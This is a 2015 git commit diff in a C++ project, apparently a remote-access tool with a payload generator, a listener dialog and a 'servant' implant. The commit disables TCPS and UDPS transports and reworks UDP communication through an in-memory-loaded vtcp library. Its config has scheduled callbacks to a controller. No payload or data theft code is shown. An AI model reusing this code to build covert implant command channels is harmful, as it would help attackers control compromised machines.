fix comm bug

This commit is contained in:
floyd 2015-07-22 20:43:07 +08:00
parent de07b21cbd
commit 86b52260e5
6 changed files with 51 additions and 26 deletions

View File

@ -151,12 +151,12 @@ void CGeneratorDlg::InitDlgEdit()
m_DefaultComm.SetItemData(1,COMMNAME_HTTPS);
m_DefaultComm.InsertString(2,_T("TCP"));
m_DefaultComm.SetItemData(2,COMMNAME_TCP);
m_DefaultComm.InsertString(3,_T("TCPS"));
m_DefaultComm.SetItemData(3,COMMNAME_TCPS);
m_DefaultComm.InsertString(4,_T("UDP"));
m_DefaultComm.SetItemData(4,COMMNAME_UDP);
m_DefaultComm.InsertString(5,_T("UDPS"));
m_DefaultComm.SetItemData(5,COMMNAME_UDPS);
// m_DefaultComm.InsertString(3,_T("TCPS"));
// m_DefaultComm.SetItemData(3,COMMNAME_TCPS);
m_DefaultComm.InsertString(3,_T("UDP"));
m_DefaultComm.SetItemData(3,COMMNAME_UDP);
// m_DefaultComm.InsertString(5,_T("UDPS"));
// m_DefaultComm.SetItemData(5,COMMNAME_UDPS);
m_DefaultComm.SetCurSel(config.commType);

View File

@ -27,9 +27,9 @@ BOOL CommManager::Init()
m_commList[COMMNAME_HTTP] = new HttpComm;
m_commList[COMMNAME_HTTPS] = new HttpComm(TRUE);
m_commList[COMMNAME_TCP] = new TcpComm;
m_commList[COMMNAME_TCPS] = new TcpComm(TRUE);
// m_commList[COMMNAME_TCPS] = new TcpComm(TRUE);
m_commList[COMMNAME_UDP] = new UdpComm;
m_commList[COMMNAME_UDPS] = new UdpComm(TRUE);
// m_commList[COMMNAME_UDPS] = new UdpComm(TRUE);
m_hExitEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL);
if (! m_hExitEvent.IsValid())

View File

@ -21,11 +21,31 @@ UdpComm::UdpComm(BOOL isSecure):m_isConnected(FALSE),
m_vsocket = (_vtcp_socket) m_vtcp.MemGetProcAddress("vtcp_socket");
m_vconnect = (_vtcp_connect) m_vtcp.MemGetProcAddress("vtcp_connect");
m_vstartup = (_vtcp_startup) m_vtcp.MemGetProcAddress("vtcp_startup");
m_lasterr = (_vtcp_lasterr) m_vtcp.MemGetProcAddress("vtcp_geterror");
m_vclose = (_vtcp_close) m_vtcp.MemGetProcAddress("vtcp_close");
m_vsetsockopt = (_vtcp_setsockopt) m_vtcp.MemGetProcAddress("vtcp_setsockopt");
m_vsocketshare = (_vtcp_socketshare)m_vtcp.MemGetProcAddress("vtcp_socketshare");
m_vlisten = (_vtcp_listen)m_vtcp.MemGetProcAddress("vtcp_listen");
m_vbind = (_vtcp_bind)m_vtcp.MemGetProcAddress("vtcp_bind");
m_vstartup();
SOCKADDR_IN hints;
memset(&hints, 0, sizeof(SOCKADDR_IN));
hints.sin_family = AF_INET;
hints.sin_port = htons(61224);
m_psock = m_vsocket(AF_INET,SOCK_DGRAM,0);
m_vbind(m_psock,(sockaddr*)&hints,sizeof(hints));
m_vlisten(m_psock,1);
m_sock = m_vsocketshare(m_psock);
int err = m_lasterr();
if (isSecure)
{
srand(GetTickCount());
@ -161,19 +181,16 @@ BOOL UdpComm::Connect( ULONG targetIP,int port )
hints.sin_addr.s_addr = targetIP;
hints.sin_port = htons(port);
if (m_sock != VTCP_INVALID_SOCKET)
{
m_vclose(m_sock);
m_sock = VTCP_INVALID_SOCKET;
}
m_sock = m_vsocket(AF_INET,SOCK_DGRAM,0);
if (VTCP_ERROR == m_vconnect(m_sock,(sockaddr*)&hints,sizeof(hints)))
{
if ( m_lasterr() == 3 )
{
m_vclose(m_sock);
m_sock = m_vsocketshare(m_psock);
}
return FALSE;
}
int timeout = 20000;
m_vsetsockopt(m_sock,SOL_SOCKET,VTCP_SO_RECV_TIMEO,(char*)&timeout,sizeof(int));
m_vsetsockopt(m_sock,SOL_SOCKET,VTCP_SO_SEND_TIMEO,(char*)&timeout,sizeof(int));

View File

@ -14,21 +14,28 @@ public:
public:
typedef int (WINAPI *_vtcp_startup)();
typedef int (WINAPI *_vtcp_lasterr)();
typedef int (WINAPI *_vtcp_bind)(VTCP_SOCKET s, const struct sockaddr * sai, socklen_t sailen);
typedef int (WINAPI *_vtcp_listen)(VTCP_SOCKET s, int backlog);
typedef VTCP_SOCKET (WINAPI *_vtcp_socket) (int af, int itype, int protocol);
typedef int (WINAPI *_vtcp_connect)(VTCP_SOCKET s, const struct sockaddr * sai, socklen_t sailen);
typedef int (WINAPI *_vtcp_send)(VTCP_SOCKET s, char * buffer, int cb, int flag);
typedef int (WINAPI *_vtcp_recv)(VTCP_SOCKET s, char * buffer, int cb, int flag);
typedef int (WINAPI *_vtcp_close)(VTCP_SOCKET s);
typedef int (WINAPI *_vtcp_setsockopt)(VTCP_SOCKET s, int level, int optname, char * optval, int optlen);
typedef VTCP_SOCKET (WINAPI *_vtcp_socketshare)(VTCP_SOCKET s);
private:
_vtcp_startup m_vstartup;
_vtcp_lasterr m_lasterr;
_vtcp_socket m_vsocket;
_vtcp_connect m_vconnect;
_vtcp_send m_vsend;
_vtcp_recv m_vrecv;
_vtcp_close m_vclose;
_vtcp_setsockopt m_vsetsockopt;
_vtcp_socketshare m_vsocketshare;
_vtcp_listen m_vlisten;
_vtcp_bind m_vbind;
public:
//ʵÏÖIComm½Ó¿Ú
@ -44,6 +51,7 @@ private:
BOOL SendAll(VTCP_SOCKET s,LPCVOID lpBuf, int nBufLen);
VTCP_SOCKET m_sock;
VTCP_SOCKET m_psock;
BOOL m_isConnected;

View File

@ -15,8 +15,8 @@
SERVANT_API void InitServant()
{
#ifdef _DEBUG
g_ConfigInfo.nDefaultCommType = COMMNAME_TCP;
g_ConfigInfo.nPort = 8082;
g_ConfigInfo.nDefaultCommType = COMMNAME_UDP;
g_ConfigInfo.nPort = 8822;
g_ConfigInfo.nFirstConnectHour = -1;
g_ConfigInfo.nFirstConnectMinute = -1;
g_ConfigInfo.nTryConnectIntervalM = 1;

View File

@ -51,14 +51,14 @@ void CListenDlg::InitView()
m_protoList.InsertString(2,_T("TCP"));
m_protoList.SetItemData(2,COMMNAME_TCP);
m_protoList.InsertString(3,_T("TCPS"));
m_protoList.SetItemData(3,COMMNAME_TCPS);
// m_protoList.InsertString(3,_T("TCPS"));
// m_protoList.SetItemData(3,COMMNAME_TCPS);
m_protoList.InsertString(4,_T("UDP"));
m_protoList.SetItemData(4,COMMNAME_UDP);
m_protoList.InsertString(3,_T("UDP"));
m_protoList.SetItemData(3,COMMNAME_UDP);
m_protoList.InsertString(5,_T("UDPS"));
m_protoList.SetItemData(5,COMMNAME_UDPS);
// m_protoList.InsertString(5,_T("UDPS"));
// m_protoList.SetItemData(5,COMMNAME_UDPS);
m_protoList.SetCurSel(0);